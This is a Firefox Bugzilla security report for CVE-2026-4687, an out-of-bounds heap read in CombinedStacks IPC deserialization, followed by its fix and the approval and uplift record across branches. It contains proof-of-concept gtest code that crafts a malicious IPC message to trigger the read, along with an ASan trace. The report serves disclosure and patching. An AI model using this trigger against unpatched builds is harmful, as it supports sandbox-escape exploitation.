2016368 - (CVE-2026-4687) CombinedStacks mModIndex OOB Heap Read

Status: RESOLVED FIXED

(Toolkit :: Telemetry, defect, P1)

Description

[Sajeeb Lohani]

Compromised content process -> parent process via GetUntrustedModulesData IPC. Windows-only.

ParamTraits<CombinedStacks>::Read (CombinedStacks.h:85-103) deserializes mModules and mStacks without validating that frame.mModIndex < mModules.size(). AddStacks (CombinedStacks.cpp:97-100) passes attacker-controlled mModIndex to a lambda that indexes aStacks.mModules[aIdx] via std::vector::operator[] (no bounds check in release). The OOB Module contains nsString/nsCString with internal heap pointers that are subsequently dereferenced during comparison and copy.

Distinct from Bug 2015266 (mNextIndex/mMaxStacksCount OOB write). Different missing invariant, different code path, different fix.

The Bug

CombinedStacks.cpp:94-100:

for (const auto& frame : stack) {
    AddFrame(index, frame,
             [&aStacks](int aIdx) -> const ProcessedStack::Module& {
                 return aStacks.mModules[aIdx];  // std::vector::operator[] - no bounds check
             });
}

AddFrame (CombinedStacks.cpp:36-39) calls the lambda when mModIndex != 0xFFFF:

const ProcessedStack::Module& module = aModuleGetter(aFrame.mModIndex);  // OOB

ASAN Proof

==98018==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6030005f2e38
READ of size 4 at 0x6030005f2e38 thread T0
#0 in CombinedStacks_RawPointerOOBReadViaModIndex_Test::TestBody()

0x6030005f2e38 is located 296 bytes after 32-byte region [0x6030005f2cf0,0x6030005f2d10)
SUMMARY: AddressSanitizer: heap-buffer-overflow in CombinedStacks_RawPointerOOBReadViaModIndex_Test::TestBody()

PoC

toolkit/components/telemetry/tests/gtest/TestCombinedStacks.cpp (relevant tests):

// PoC: CombinedStacks::AddStacks OOB read via unchecked frame.mModIndex.
TEST(CombinedStacks, OOBReadViaModIndex) {
  // Craft a CombinedStacks via IPC deserialization:
  //   mModules has 1 entry, but a frame references mModIndex=10.
  IPC::Message msg(MSG_ROUTING_NONE, 0);
  {
    IPC::MessageWriter writer(msg);

    std::vector<ProcessedStack::Module> modules(1);
    modules[0].mName = u"dummy.dll"_ns;
    IPC::WriteParam(&writer, modules);

    std::vector<std::vector<ProcessedStack::Frame>> stacks(1);
    stacks[0].push_back(ProcessedStack::Frame{0x1000, 10});
    IPC::WriteParam(&writer, stacks);

    IPC::WriteParam(&writer, size_t{0});
    IPC::WriteParam(&writer, size_t{50});
  }

  CombinedStacks crafted;
  {
    IPC::MessageReader reader(msg);
    ASSERT_TRUE(IPC::ParamTraits<CombinedStacks>::Read(&reader, &crafted));
  }

  ASSERT_EQ(crafted.GetModuleCount(), 1u);
  ASSERT_EQ(crafted.GetStackCount(), 1u);
  ASSERT_EQ(crafted.GetStack(0).size(), 1u);
  ASSERT_EQ(crafted.GetStack(0)[0].mModIndex, 10);

  CombinedStacks target(50);
  ProcessedStack dummyStack;
  dummyStack.AddFrame(ProcessedStack::Frame{0x2000, 0xFFFF});
  target.AddStack(dummyStack);

  // AddStacks: crafted.mModules[10] via std::vector::operator[] (no bounds check)
  // ASan: heap-buffer-overflow READ
  target.AddStacks(crafted);
}

// Raw-pointer variant for clean ASan report (bypasses libc++ hardened mode).
TEST(CombinedStacks, RawPointerOOBReadViaModIndex) {
  auto* modules = new std::vector<ProcessedStack::Module>(1);
  (*modules)[0].mName = u"dummy.dll"_ns;

  const ProcessedStack::Module* base = modules->data();
  size_t count = modules->size();  // 1

  uint16_t attackerModIndex = 10;
  ASSERT_GE(attackerModIndex, count);

  // std::vector::operator[] in release is just *(data() + aIdx)
  const ProcessedStack::Module* oobPtr = base + attackerModIndex;

  // ASan: heap-buffer-overflow READ
  volatile auto val = oobPtr->mName.Length();
  (void)val;

  delete modules;
}

Run: ./mach gtest "CombinedStacks.OOBReadViaModIndex:CombinedStacks.RawPointerOOBReadViaModIndex"

Fix

Validate mModIndex in ParamTraits<CombinedStacks>::Read:

for (const auto& stack : aResult->mStacks) {
    for (const auto& frame : stack) {
        if (frame.mModIndex != std::numeric_limits<uint16_t>::max() &&
            frame.mModIndex >= aResult->mModules.size()) {
            return false;
        }
    }
}

Comment 1

[Greg Stoll :gstoll]

Attachment: (secure)

Comment 2

[Greg Stoll :gstoll]

Comment on attachment 9544745 [details]
(secure)

Security Approval Request

• How easily could an exploit be constructed based on the patch?: Given a compromised content process it would be pretty easy to trigger the OOB heap read and write.
• Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
• Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, ESR. I will update the flags.
• If not all supported branches, which bug introduced the flaw?: None
• Do you have backports for the affected branches?: No
• If not, how different, hard to create, and risky will they be?: they will be easy to uplift and very safe.
• How likely is this patch to cause regressions; how much testing does it need?: Very unlikely; shouldn't need testing
• Is the patch ready to land after security approval is given?: Yes
• Is Android affected?: No

Comment 3

[Daniel Veditz [:dveditz]]

Comment on attachment 9544745 [details]
(secure)

sec-approval+ to land now and request uplifts

Comment 4

[Phabricator Automation]

firefox-beta Uplift Approval Request

• User impact if declined: sec-high bug
• Code covered by automated testing: no
• Fix verified in Nightly: no
• Needs manual QE test: no
• Steps to reproduce for manual QE testing: n/a
• Risk associated with taking this patch: low
• Explanation of risk level: just adding some bounds checks
• String changes made/needed: no
• Is Android affected?: no

Comment 5

[Greg Stoll :gstoll]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D283147

Comment 6

[Phabricator Automation]

firefox-esr115 Uplift Approval Request

• User impact if declined: sec-high bug
• Code covered by automated testing: no
• Fix verified in Nightly: no
• Needs manual QE test: no
• Steps to reproduce for manual QE testing: n/a
• Risk associated with taking this patch: low
• Explanation of risk level: just adding some bounds checks
• String changes made/needed: no
• Is Android affected?: no

Comment 7

[Greg Stoll :gstoll]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D283147

Comment 8

[Phabricator Automation]

firefox-esr140 Uplift Approval Request

• User impact if declined: sec-high bug
• Code covered by automated testing: no
• Fix verified in Nightly: no
• Needs manual QE test: no
• Steps to reproduce for manual QE testing: n/a
• Risk associated with taking this patch: low
• Explanation of risk level: just adding some bounds checks
• String changes made/needed: no
• Is Android affected?: no

Comment 9

[Greg Stoll :gstoll]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D283147

Comment 10

[Phabricator Automation]

firefox-release Uplift Approval Request

• User impact if declined: sec-high bug
• Code covered by automated testing: no
• Fix verified in Nightly: no
• Needs manual QE test: no
• Steps to reproduce for manual QE testing: n/a
• Risk associated with taking this patch: low
• Explanation of risk level: just adding some bounds checks
• String changes made/needed: no
• Is Android affected?: no

Comment 11

[Greg Stoll :gstoll]

Attachment: (secure)

Original Revision: https://phabricator.services.mozilla.com/D283147

Comment 12

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/31d588fc9818
https://hg.mozilla.org/integration/autoland/rev/22a3b29456c2
r=chutten

Comment 13

[Donal Meehan [:dmeehan]]

Comment on attachment 9549444 [details]
(secure)

Rejecting release uplift request. This is not suitable for inclusion in a dot release, since ESR branches are affected.

Comment 14

[Ryan VanderMeulen [:RyanVM]]

https://hg-edge.mozilla.org/mozilla-central/rev/22a3b29456c2

Comment 15

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/36a15f2ddae0
https://hg.mozilla.org/releases/mozilla-beta/rev/e7ea506e1d8d

Comment 16

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/5eb62ce76f7e

Comment 17

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/b864f8e07bad